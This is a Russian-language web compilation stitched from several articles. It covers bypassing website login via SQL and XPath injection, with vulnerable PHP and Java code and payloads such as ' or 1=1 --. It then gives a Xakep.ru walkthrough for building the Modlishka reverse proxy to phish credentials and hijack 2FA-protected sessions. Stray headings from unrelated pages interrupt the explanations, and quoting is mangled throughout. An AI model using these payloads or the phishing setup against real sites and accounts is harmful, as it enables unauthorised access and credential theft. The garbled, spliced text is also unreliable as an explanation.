SQL-инъекции — один из распространённых способов взлома сайтов (веб-приложений) и программ, работающих с базами данных. Метод основан на внедрении в запрос произвольного SQL-кода. В статье покажу, как работает обход авторизации с помощью SQL-инъекции и поделюсь шпаргалкой.
Обход авторизации с помощью SQL-инъекции
Авторизация на сайте работает следующим образом:
- Сайт (веб-приложение) запрашивает имя пользователя и пароль.
- Сайт делает запрос к базе данных: «У нас есть пользователь с именем «User »и паролем« user»?».
- Если в базе данных указано, что данные для входа верны, тогда сайт позволит войти пользователю User.
Пример простого PHP кода с авторизацией:
$ username = $ _POST [ ‘username’ ] ; // Имя пользователя
$ password = $ _POST [ ‘password’ ] ; // Пароль
$ query = «select username, password from users where username=’.$username.’ and password=’.$password.’ limit 0,1» ; // команда для запроса
$ result = mysql_query ( $ query ) ; // запрос
$ rows = mysql_fetch_array ( $ result ) ; // получение данных
if ( $ rows ) // Проверка на верность данных
echo «Login successful» ;
// Create Session or Set Cookies
echo «login data invalid» ;
Как протестировать аутентификацию и авторизацию на безопасность [ru] / Святослав Логин
Уязвимости в коде
При попытке авторизации код получает данные введенные пользователем и помещает их прямо в SQL команду. Он не проверяет, какой тип данных представлен. Вот используемый SQL-запрос.
SELECT username , password FROM users WHERE username = ‘$username’ AND password = ‘$password’ LIMIT 0 , 1 ;
Для поиска уязвимости в коде проведем фаззинг.
Фаззинг — это передача сайту случайных данных. Длинные целые числа / строки и т.п. Мы знаем, для того чтобы сломать SQL зарос, нужно ввести апостроф или двойные кавычки. «.
Попробуем ввести имя пользователя user и пароь pass ‘ » . Для кода данный запрос будет выглядеть следующим образом:
SELECT username , password FROM users WHERE username = ‘user’ AND password = ‘pass’ ‘ LIMIT 0 , 1 ;
Что соответственно приводит к SQL ошибке:
You have an error in your SQL syntax ; check the manual that corresponds to your MariaDB server version for the right syntax to use near
‘test’ » at line 1
Скрипт принимает наши данные и помещает их в кавычки. Если я введу в качестве пароля test , то sql запрос будет содержать password = ‘test’ :
SELECT username , password FROM users WHERE username = ‘user’ AND password = ‘test’ LIMIT 0 , 1 ;
Это уже не вызовет ошибку.
Но после данной строки есть еще и другой код. (‘LIMIT 0,1)
Таким образом, соответствие правилам SQL синтаксиса это неверно. Это заставило сервер выдать ошибку. Подумайте, что будет, если я добавлю эту строку в качестве ввода.
test ‘ or 1 = 1 —
Запрос будет иметь вид:
SELECT username , password FROM users WHERE username = ‘user’ AND password = ‘test’ or 1 = 1 —‘ LIMIT 0 , 1 ;
В SQL — — или — + в качестве символа для комментария. поэтому, если мы хотим что-то прокомментировать или заблокировать какую-то часть кода, мы можем использовать это. В этом запросе все последующее — игнорируется.
ДВУХФАКТОРНАЯ АУТЕНТИФИКАЦИЯ GOOGLE AUTHENTICATOR 2FA | НАСТРОЙКА И ИНСТРУКИЦЯ GOOGLE AUTHENTICATOR
SELECT username , password FROM users WHERE username = ‘user’ AND password = ‘test’ or 1 = 1
Но что будет если к SQL-запросу добавить такую строку:
Что интересно в операторе OR, так это то, что он проверяет два логических оператора и, если один из них или оба верны, он вернет true.
поэтому, если пароль похож на строковый тест или 1 = 1, он вернет true. Поскольку 1 всегда равен 1 (как не странно), этот запрос игнорирует неправильный пароль. Так мы смогли обойти проверку пароля.
Но, а что, если мы не знаем ни пароля, ни имени пользователя?
Authentication Bypass — обход аутентификации
Authentication Bypass (обход аутентификации) — доступ к закрытым разделам сайта в обход проверки подлинности пользователя.
Authentication Bypass (обход аутентификации) для сайтов и веб-приложений — это несанкционированный доступ к административному разделу или разделам сайта и скриптам обеспечивающим прямое взаимодействие с базой данных и файловой системой сервера.
Authentication Bypass может быть выполнен эксплуатируя уязвимости кода сайта, ошибки публикации ресурса, а так же из-за ошибок в настройках и уязвимостями программного обеспечения сервера.
- Атакующий проходит в административный раздел сайта с максимальным уровнем доступа
- Атакующий получает доступ к закрытым разделам сайта, или файлам, напрямую взаимодействующим с базой данных или файловой системой сервера
Несколько примеров Authentication Bypass:
SQL injection Authentication Bypass
Обход аутентификации с помощью SQL инъекции
- Атакующий изменяет запрос, нарушая логику его выполнения
- Запрос возвратит все строки таблицы пользователей сайта, вне зависимости от условия валидации парольной пары
- Атакующий получает доступ к административному разделу сайта
- Сайт взломан
XPath injection Authentication Bypass
Обход аутентификации с помощью XPath инъекции
Аналогично SQL инъекции:
Часть кода XML базы данных пользователей сайта: base.xml
1
admin
adminpass2
user
userpass.
Код аутентификации пользователей / администраторов сайта
String username = req.getParameter(«username’);
String password = req.getParameter(«password’);
XPathFactory factory = XPathFactory.newInstance();
Xpath xpath = factory.newXPath();
File file = new File(«/usr/webappdata/users.xml’);
InputSource src = new InputSource(new FileInputStream(file));
XPathExpression expr = xpath.compile(«//users[username/text()=’ » + username + » ‘ and password/text()=’ » + password + ‘ ‘]/id/text()’);
StringЛегальный XPath запрос на аутентификацию пользователя:
users[username/text()=’admin’ and password/text()=’adminpass’] /id/text()XPath инъекция:
‘ or ‘1’=’1′Измененный в результате эксплуатации XPath инъекции запрос:
users[username/text()=’admin’ and password/text()=» or ‘1’=’1′ ]/id/text()Результат:
Аутентификация атакующего на сайте
Запрос вернет ID для пользователя admin с пустым паролем при условии 1=1 является истиной.
Ошибки разграничения прав доступа к БД
Критические ошибки разработки сайта, при определенных условиях, могут приравнять обычных пользователей сайта к их администраторам или контент менеджерам.
В нашей практике случались обращения клиентов с взломанными сайтами из-за такого рода ошибок.
Такой взлом сайта реализуется крайне просто. Атакующий регистрируется на сайте (или форуме) как обычный пользователь, а затем, используя свою учетную запись проходит в административный раздел сайта.
Защита от Authentication Bypass
Ограничение доступа к административному разделу сайта по IP. Кроме этого, можно рассмотреть вариант с установкой дополнительной парольной пары на системные директории сайта. В случаях, когда нельзя использовать вышеописанные варианты защиты, следует исключить эксплуатацию любых уязвимостей, т.к. получение несанкционированного доступа к административному разделу это не только SQL и XPath инъекции но и сотни вариаций самых разнообразных атак, таких как XSS и им подобных.
Надо понимать, что защита административно раздела по IP никаким образом не гарантирует безопасность Вашего сайта.
Конечная цель взлома сайта — это размещение шеллов, бэкдоров или врезок в код сайта, позволяющий хакеру контролировать взломанный сайт.
Способов и методик получения шелла на атакуемом сайте множество, и доступ к административной панели чаще всего не нужен.
Получивший несанкционированный доступ к административной панели злоумышленник, в 90% случаев будет рассматривать его как промежуточный этап взлома для размещения своих шеллов на атакуемом сервере.
Сканер уязвимостей сайтов онлайн Проверьте, наколько устойчив к взлому Ваш сайт
Источник: insafety.org
FUCK 2FA! Обходим двухфакторную аутентификацию с помощью Modlishka
Теневые форумы изобилуют предложениями о взломе аккаунтов. В большинстве случаев атаки устраивают при помощи фишинга с подделкой страницы авторизации. Однако такой метод неэффективен, если пользователю приходит SMS с проверочным кодом. Я покажу, как пробить двухфакторную аутентификацию, на примере взлома аккаунта Google редактора «Хакера».
Экскурс в 2FA
Во времена, когда сайты работали по HTTP и о защите толком никто и не думал, перехватить трафик с учетными данными было совсем несложно. Потом трафик стали шифровать, и хакерам пришлось придумывать более изощренные способы подмены и перенаправления маршрутов. Казалось бы, двухфакторная аутентификация окончательно решила проблему, но все дело в деталях ее реализации.
Метод 2FA (Two-Factor authentication) был придуман как дополнительный способ подтверждения владельца аккаунта. Он основан на нескольких способах аутентификации:
- пользователь что-то знает (например, может ответить, какая была девичья фамилия его матери или кличка первого домашнего питомца);
- пользователь обладает уникальными чертами, которые можно оцифровать и сравнить (биометрическая аутентификация);
- пользователь имеет девайс с уникальным идентификатором (например, номер мобильного, флешку с ключевым файлом).
Первый метод еще встречается при восстановлении паролей по контрольным вопросам. Для регулярного использования он не годится, так как ответы не меняются и могут быть легко скомпрометированы. Второй способ чаще применяется для защиты данных на мобильных гаджетах и для авторизации клиентских приложений на серверах.
Самый популярный метод 2FA — третий. Это SMS с проверочными кодами, генерируемыми по технологии OTP. Код приходит каждый раз разный, поэтому угадать его практически невозможно.
Однако чем сложнее преодолеть защиту техническими методами, тем легче бывает это сделать социальной инженерией. Все настолько уверены в надежности 2FA, что используют ее для самых ответственных операций — от авторизации в Google (а это сразу доступ к почте, диску, контактам и всей хранимой в облаке истории) до систем клиент-банк.
При этом возможность обхода такой системы уже показывал австралийский исследователь Шабхэм Шах (Shubham Shah). Правда, его метод был довольно сложен в практической реализации. В нем использовалась авторизация по звонку, а не SMS, а предварительно нужно было узнать номер телефона жертвы и часть учетных данных. PoC был не особо убедительным, но наметил вектор атаки.
Modlishka
В начале 2019 года польский исследователь Пётр Душиньский (Piotr Duszyński) выложил в открытом доступе реверс-прокси Modlishka. По его словам, этот инструмент может обойти двухфакторную аутентификацию, что мы сейчас и проверим.
Если сравнить его с тем же SEToolkit (он встроен практически во все популярные дистрибутивы для пентеста), то разница вот в чем: SET клонирует и размещает на локальном сервере страницу авторизации. Там все основано на работе скриптов, которые перехватывают вводимые учетные данные жертвы. Можно, конечно, настроить редирект на оригинальный сайт, но трафик от жертвы до твоего сервера будет незашифрованным. По сути, такого рода программы выступают в роли web-серверов с поддельным (фишинговым) сайтом.
Modlishka действует иначе. Генерируется свой сертификат, которым шифруется соединение от жертвы до нашего сервера (чтобы не палиться). Затем эта машина выступает в роли обратного прокси.
Другими словами, весь трафик идет на оригинальный сайт с инстанцией на нашем сервере. У хакера остаются учетные данные, и захватывается авторизованная сессия жертвы. Классическая MITM-атака, которую предваряет фишинг (нужно как-то заставить жертву установить поддельный сертификат и направить ее на фейковый сайт).
WARNING
Статья написана в образовательных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный изложенными здесь материалами.
Поднимаем стенд
Давай поднимем сервер с Modlishka внутри локальной машины. Я сделаю это на примере Kali Linux, но принципиальной разницы для других дистрибутивов не будет — разве что слегка изменится путь к исходникам Go.
Вначале ставим Go — на этом языке написан реверс-прокси, и без Go он не скомпилируется.
$ apt-get install golang
Следом указываем путь к директории исходников:
$ export GOPATH=’/root/go’
Проверить все можно командой
$ go env
В выводе должен быть указан GOPATH.
Затем клонируем ветку с инструментом.
$ go get -u github.com/drk1wi/Modlishka $ cd /root/go/src/github.com/drk1wi/Modlishka/
$ openssl genrsa -out secret.key 2048 $ openssl req -x509 -new -nodes -key secret.key -sha256 -days 1024 -out cert.pem
Теперь необходимо перенести содержимое ключа и сертификата в файл plugin/autocert.go и заменить значение двух переменных:
- const CA_CERT — значение сертификата (файл pem);
- const CA_CERT_KEY — значение ключа (файл key).
Теперь собираем все это дело:
$ make
Занимает компиляция от трех до десяти минут в зависимости от количества вычислительных ресурсов.
Сам запускаемый файл находится в директории dist/ под названием proxy . Для проверки можно запустить с ключом -h — вывод справки.
$ ./dist/proxy -h
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Источник: xakep.ru